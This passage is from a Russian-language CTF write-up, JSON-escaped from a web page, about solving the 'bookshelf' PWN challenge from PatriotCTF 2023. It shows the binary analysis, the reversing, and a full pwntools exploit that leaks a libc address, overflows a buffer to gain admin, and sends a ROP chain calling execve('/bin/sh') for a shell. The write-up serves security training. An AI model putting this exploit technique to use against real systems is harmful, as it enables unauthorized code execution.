            \u041a\u0430\u0440\u0442\u0438\u043d\u0430 \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f:<\/p>\n

            s = '(AB): '
            s += 'A' * 40
            len(s) = 46<\/code><\/p>\n

            \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u0430\u0441\u0441\u0438\u0432 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0432\u0435\u043d 46 \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c, \u043a\u0430\u043a \u043d\u0430\u043c \u0438 \u043d\u0430\u0434\u043e. \u0422\u0443\u0442 \u0434\u0430\u0436\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0442\u044c \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u0411\u0430\u043d\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c 40 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0438 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u043f\u0440\u043e \u0430\u0443\u0434\u0438\u043e\u043a\u043d\u0438\u0433\u0443 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u043c \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e<\/p>\n

            <\/figure>\n

            \u041a\u0430\u043a \u0432\u0438\u0434\u0438\u043c, uid<\/code> \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f \u043d\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 65, \u0447\u0442\u043e \u043f\u043e ASCII \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 A<\/code>.<\/p>\n

            \u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u0433\u043b\u044f\u043d\u0435\u043c \u0432 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e<\/p>\n

            <\/figure>\n

            \u041f\u0440\u043e\u0441\u044f\u0442 \u0447\u0442\u043e-\u0442\u043e \u0432\u0432\u0435\u0441\u0442\u0438. \u041f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 256 \u043a\u0430\u043a\u0438\u0445-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432<\/p>\n

            <\/figure>\n

            \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0443\u043f\u0430\u043b\u0430! \u0417\u043d\u0430\u0447\u0438\u0442 \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u043c\u0435\u0441\u0442\u043e. \u041d\u0430\u0441\u0442\u0430\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0438\u0441\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442<\/p>\n

            \u041f\u0438\u0448\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442<\/h4>\n

            \u0412\u0437\u0433\u043b\u044f\u043d\u0443\u0432 \u043d\u0430 \u043f\u0430\u043c\u044f\u0442\u044c \u0432 IDA, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e 64 \u0441\u0438\u043c\u0432\u043e\u043b\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0437\u043c\u0435\u0440 \u043c\u0443\u0441\u043e\u0440\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f — 56 \u0431\u0430\u0439\u0442\u043e\u0432, \u0430 \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430.<\/p>\n

            \u0420\u0430\u043d\u0435\u0435 \u0431\u044b\u043b\u0430 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0430 \u0431\u0430\u0437\u0430 libc, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0441\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0441\u0442\u0440\u043e\u043a\u0438, \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043a\u0430\u0442\u044c \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u0444\u0430\u0439\u043b\u0435 — libc.so.6<\/code><\/p>\n

            \u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0435\u043b\u043b, \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0442\u0430\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432<\/p>\n

            execve(\"\/bin\/sh\",0,0)<\/code><\/p>\n

            \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0432 J0llyTr0LLz \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432, \u043d\u0430\u0436\u0430\u0432 \u043d\u0430 \u043a\u043d\u043e\u043f\u043a\u0443 F1<\/code><\/p>\n

            <\/figure>\n
              \n
            1. \n

              rax = 0x3b<\/code><\/p>\n<\/li>\n

            2. \n

              rdi = \/bin\/sh<\/code><\/p>\n<\/li>\n

            3. \n

              rsi = 0<\/code><\/p>\n<\/li>\n

            4. \n

              rdi = 0<\/code><\/p>\n<\/li>\n<\/ol>\n

              \u041d\u0443\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 4 \u0433\u0430\u0434\u0436\u0435\u0442\u0430 \u043f\u043e \u0442\u0438\u043f\u0443<\/p>\n

              pop rax\/rdi\/rsi\/rdx <\/code><\/p>\n

              ret <\/code><\/p>\n

              \u0421\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0439 \/bin\/sh<\/code> \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043d\u0435\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 \u043b\u044e\u0431\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libc \u044d\u0442\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u0443\u0436\u0435 \u0432\u0448\u0438\u0442\u0430. \u0421 syscall<\/code> \u0442\u0430\u043a\u0430\u044f \u0436\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u044f.<\/p>\n

              \u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0442\u0430\u043a\u0438\u0435 \u043d\u0430\u0431\u0440\u043e\u0441\u043a\u0438:<\/p>\n

              SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)
              BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)
              POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)
              POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)
              POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)
              POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)<\/code><\/p>\n

              \u0422\u0435\u043f\u0435\u0440\u044c \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c rop-\u0446\u0435\u043f\u043e\u0447\u043a\u0443<\/p>\n

              payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC<\/code><\/p>\n

              \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u044d\u0442\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435<\/p>\n

              io.recvuntil(b'4) Check out')
              io.sendline(b'3')
              io.sendline(junk + payload)<\/code><\/p>\n

              \u0422\u0435\u043f\u0435\u0440\u044c \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u043c \u0432\u0441\u0435 \u0448\u0430\u0433\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0442\u0430\u043a\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442:<\/p>\n

              from pwn import *<\/code><\/p>\n

              exe = context.binary = ELF('.\/bookshelf')<\/code><\/p>\n

              def start(argv=[], *a, **kw):
              if args.GDB:
              return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
              elif args.EDB:
              return process(['edb','--run',exe.path] + argv, *a, **kw)
              else:
              return process([exe.path] + argv, *a, **kw)<\/code><\/p>\n

              gdbscript = '''
              tbreak main
              continue
              '''.format(**locals())<\/code><\/p>\n

              def live_richy():
              io.sendline(b'2')
              io.sendline(b'2')
              io.sendline(b'y')<\/code><\/p>\n

              def leak_plt_puts_func():
              tmp = str(io.recvuntil(b'rested'))
              tmp = tmp[2:len(tmp)-1]
              tmp = tmp.split(\"\\n\")[0].split(\" \")
              ret_val = int(tmp[len(tmp)-2][2:],16)
              return ret_val<\/code><\/p>\n

              def get_admin():
              junk = b'A'*40
              io.recvuntil(b'3) Write a special book (ADMINS ONLY) (0)')
              io.sendline(b'1')
              io.recvline()
              io.sendline(b'y')
              io.sendline(junk)<\/code><\/p>\n

              def get_shell(LIBC_BASE):
              SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)
              BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)
              POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)
              POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)
              POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)
              POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)
              junk = b'A' * 56
              payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC<\/code><\/p>\n

              io.recvuntil(b'4) Check out')
              io.sendline(b'3')
              io.sendline(junk + payload)<\/code><\/p>\n

              io = start()<\/code><\/p>\n

              leak_plt_puts = 0
              for i in range(8):
              io.recvuntil(b'4) Check out')
              live_richy()<\/code><\/p>\n

              io.sendline(b'2')
              io.sendline(b'3')<\/code><\/p>\n

              leak_plt_puts = leak_plt_puts_func()
              LIBC_BASE = leak_plt_puts - 0x000000000080ED0
              log.success('leak_plt_puts: 0x{:x}'.format(leak_plt_puts))
              log.success('LIBC_BASE: 0x{:x}'.format(LIBC_BASE))
              io.sendline()<\/code><\/p>\n

              get_admin()
              get_shell(LIBC_BASE)<\/code><\/p>\n

              io.interactive()<\/code><\/p>\n

              \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0448\u0435\u043b\u043b<\/p>\n

              <\/figure>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n

              <\/div>\n


              \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 https:\/\/habr.com\/ru\/articles\/765150\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"

              <\/div>\n
              \n
              \n
              \n
              \n
              <\/figure>\n

              \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0448\u0435\u043b PatriotCTF 2023. \u0422\u0430\u0441\u043a\u0438 \u0445\u043e\u0440\u043e\u0448\u0438\u0435 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0445. \u041d\u0430 \u043d\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043d\u0430\u0432\u044b\u043a\u0438 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445:<\/p>\n

                \n
              1. \n

                PWN<\/p>\n<\/li>\n

              2. \n

                Reverse<\/p>\n<\/li>\n

              3. \n

                Forensics<\/p>\n<\/li>\n

              4. \n

                Crypto<\/p>\n<\/li>\n

              5. \n

                Web<\/p>\n<\/li>\n

              6. \n

                Stego<\/p>\n<\/li>\n

              7. \n

                OSINT<\/p>\n<\/li>\n<\/ol>\n

                \u0417\u0430\u0446\u0435\u043f\u0438\u043b \u043c\u0435\u043d\u044f \u0442\u0430\u0441\u043a \u043f\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0443 PWN. \u0427\u0442\u043e\u0431\u044b \u0435\u0433\u043e \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u0437\u043d\u0430\u043d\u0438\u044f \u0432:<\/p>\n

                  \n
                1. \n

                  \u0420\u0435\u0432\u0435\u0440\u0441\u0435<\/p>\n<\/li>\n

                2. \n

                  ROP-\u0446\u0435\u043f\u043e\u0447\u043a\u0430\u0445<\/p>\n<\/li>\n

                3. \n

                  \u0411\u0430\u0437\u043e\u0432\u044b\u0445 \u043f\u043e\u043d\u044f\u0442\u0438\u044f\u0445 \u0438\u043d\u0442\u043e\u0432<\/p>\n<\/li>\n

                4. \n

                  \u0417\u043d\u0430\u0442\u044c \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0444\u0435\u0440\u0430<\/p>\n<\/li>\n<\/ol>\n

                  \u042d\u0442\u043e \u044d\u043a\u0437\u0430\u043c\u0435\u043d \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0445, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 \u0442\u0430\u0441\u043a\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432\u0441\u0435 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u043d\u0430\u0442\u044c PWN-\u0435\u0440.<\/p>\n

                  \n

                  \u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440: \u0412\u0441\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435, \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043d\u0435 \u043f\u0440\u0438\u0437\u044b\u0432\u0430\u044e\u0442 \u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044e \u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u0438\u0448\u044c \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u043b\u0435\u043d\u0438\u044f, \u0438 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439<\/p>\n<\/blockquote>\n

                  <\/figure>\n

                  \u0418\u0437\u0443\u0447\u0430\u0435\u043c \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b<\/h4>\n

                  \u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437, \u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435 \u0443 \u043c\u0435\u043d\u044f, \u043d\u0430\u0447\u0438\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u043a:<\/p>\n

                    \n
                  1. \n

                    file<\/code><\/p>\n<\/li>\n

                  2. \n

                    strings<\/code><\/p>\n<\/li>\n

                  3. \n

                    checksec<\/code><\/p>\n<\/li>\n

                  4. \n

                    xxd binary | grep \"UPX\"<\/code><\/p>\n<\/li>\n

                  5. \n

                    seccomp-tools<\/code><\/p>\n<\/li>\n<\/ol>\n

                    \u0412\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u043d\u0435 \u0431\u0443\u0434\u0443, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u0441\u0435 \u044d\u0442\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 J0llyTr0LLz<\/strong>.<\/p>\n

                    \u0413\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u043a\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n

                    <\/figure>\n

                    \u0413\u043e\u0440\u044f\u0447\u0435\u0439 \u043a\u043b\u0430\u0432\u0438\u0448\u0435\u0439 Ctrl+O<\/code> \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043e\u043d \u0438\u0437 \u0441\u0435\u0431\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442<\/p>\n

                    <\/figure>\n

                    \u041f\u043e readelf<\/code> \u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u043d\u0435 \u0432\u0438\u0434\u043d\u043e. \u041f\u0440\u043e\u0441\u0442\u043e \u044d\u043b\u044c\u0444\u0430\u0440\u044c 64 \u0440\u0430\u0437\u0440\u044f\u0434\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u0431\u0430\u0439\u0442 little-end.<\/p>\n

                    \u0412 file<\/code> \u0442\u043e\u0436\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u0443\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e<\/p>\n

                    <\/figure>\n

                    \u041d\u0435\u0442 \u043a\u0430\u043d\u0430\u0440\u0435\u0439\u043a\u0438, \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0440\u0430\u043d\u0434\u043e\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0438 \u0431\u0438\u043d\u0430\u0440\u044c \u043d\u0435 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d UPX<\/p>\n

                    <\/figure>\n

                    \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u0435\u0441\u0442\u044c \u043b\u0438 \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u043f\u043e \u0442\u0438\u043f\u0443 pop rax; ret<\/code> \u0438\u043b\u0438 pop rsi; ret<\/code>. \u0412\u0434\u0440\u0443\u0433 \u043f\u0440\u0438\u0433\u043e\u0434\u044f\u0442\u0441\u044f. \u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438…<\/p>\n

                    <\/figure>\n

                    \u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0435\u043a\u043d\u0435\u043c \u0441\u0442\u043e\u043a\u0438 \u043d\u0430\u0436\u0430\u0432 \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044e Ctrl+S<\/code>.<\/p>\n

                    <\/figure>\n

                    \u041f\u0440\u043e\u0432\u0435\u0440\u044e, \u0435\u0441\u0442\u044c \u043b\u0438 seccomp<\/code>. \u041e\u043d\u0438, \u043e\u0431\u044b\u0447\u043d\u043e, \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u0432 \u0441\u0442\u0440\u043e\u043a\u0430\u0445<\/p>\n

                    <\/figure>\n

                    \u041d\u0438\u0447\u0435\u0433\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438. \u041f\u043e\u0439\u0434\u0435\u043c \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441.<\/p>\n

                    \u0418\u0433\u0440\u0430\u0435\u043c \u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c<\/h4>\n

                    \u0412 \u0433\u043b\u0430\u0432\u043d\u043e\u043c \u043e\u043a\u043d\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u043d\u044e, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u043e\u0436\u043d\u043e:<\/p>\n

                      \n
                    1. \n

                      \u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043d\u0438\u0433\u0443<\/p>\n<\/li>\n

                    2. \n

                      \u041a\u0443\u043f\u0438\u0442\u044c \u043a\u043d\u0438\u0433\u0443<\/p>\n<\/li>\n

                    3. \n

                      \u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u043a\u043d\u0438\u0433\u0443, \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u043e\u043c<\/p>\n<\/li>\n

                    4. \n

                      \u0412\u044b\u0439\u0442\u0438<\/p>\n<\/li>\n<\/ol>\n

                      \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043a\u0443\u043f\u0438\u0442\u044c \u043a\u043d\u0438\u0433\u0443:<\/p>\n

                      <\/figure>\n

                      \u041b\u0430\u0434\u043d\u043e. \u041a\u0443\u043f\u0438\u043b\u0438 \u043a\u043d\u0438\u0433\u0443 \u0438, \u043d\u0430\u0432\u0435\u0440\u043d\u043e\u0435, \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c 75 \u0431\u0430\u043a\u0441\u043e\u0432 \u0438 \u0442\u0440\u0430\u0442\u0438\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043c\u043e\u0436\u0435\u043c. \u0422\u0430\u043a \u0436\u0435 \u043d\u0430\u0441 \u043f\u0440\u043e\u0441\u044f\u0442 \u043a\u0430\u043a\u043e\u0435-\u0442\u043e \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435. \u041f\u043e\u043a\u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043c \u044d\u0442\u043e\u0442 \u043f\u0443\u043d\u043a\u0442.<\/p>\n

                      \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043d\u0438\u0433\u0443. \u0412\u0438\u0434\u0438\u043c\u043e, \u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 \u0432\u044b\u0431\u043e\u0440 \u0438\u043b\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043d\u0438\u0433\u0443 \u0438\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0430\u0443\u0434\u0438\u043e\u043a\u043d\u0438\u0433\u0443<\/p>\n

                      <\/figure>\n

                      \u041e\u0442\u0432\u0435\u0442\u0438\u043c, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0435\u0442( N ) \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043c \u043a\u0430\u043a\u0443\u044e-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0442\u0440\u043e\u0447\u043a\u0443<\/p>\n

                      <\/figure>\n

                      \u041f\u043e\u0441\u043b\u0435 \u0438\u0433\u0440\u044b \u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u043f\u0443\u043d\u043a\u0442 \u043d\u043e\u043c\u0435\u0440 3 — Write a special book (ADMINS ONLY) (0)<\/code>. \u0422\u0443\u0434\u0430 \u0438 \u0431\u0443\u0434\u0435\u043c \u0441\u0442\u0440\u0435\u043c\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u043f\u0430\u0441\u0442\u044c.<\/p>\n

                      \u0420\u0435\u0432\u0435\u0440\u0441<\/h4>\n

                      \u0420\u0435\u0432\u0435\u0440\u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0431\u0443\u0434\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0432 IDA Pro. \u041d\u0430\u0447\u043d\u0443 \u0440\u0435\u0432\u0435\u0440\u0441 \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043a\u0443\u043f\u0430\u0435\u043c \u043a\u043d\u0438\u0433\u0438. \u0412\u0441\u0435 \u0431\u043b\u043e\u043a\u0438 \u043f\u043e\u0445\u043e\u0436\u0438. \u0425\u0432\u0430\u0442\u0430\u0435\u0442 \u0434\u0435\u043d\u0435\u0433 — \u0432\u044b\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u0443\u043c\u043c\u0430, \u0438\u043d\u0430\u0447\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 You don't have enough cash!<\/code>.<\/p>\n

                      <\/figure>\n

                      \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e cash<\/code>.<\/p>\n

                      <\/figure>\n

                      \u0412\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u044d\u0442\u043e int<\/code>. \u041c\u043e\u0436\u0435\u0442 \u044d\u0442\u043e unsigned int<\/code>? \u041f\u0440\u043e\u0441\u0442\u043e, \u0435\u0441\u043b\u0438 \u0440\u0430\u0441\u0441\u0443\u0436\u0434\u0430\u0442\u044c \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a, \u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435: \u043a\u043e\u0433\u0434\u0430 cash \u043c\u0435\u043d\u044c\u0448\u0435 0, \u0432 \u043d\u0435\u043c \u0431\u0443\u0434\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435<\/p>\n

                      \u0435\u0441\u043b\u0438 cash < 0, \u0442\u043e cash = 0xFFFFFFFF 0xFFFFFFFF = 4294967295 <\/code><\/p>\n

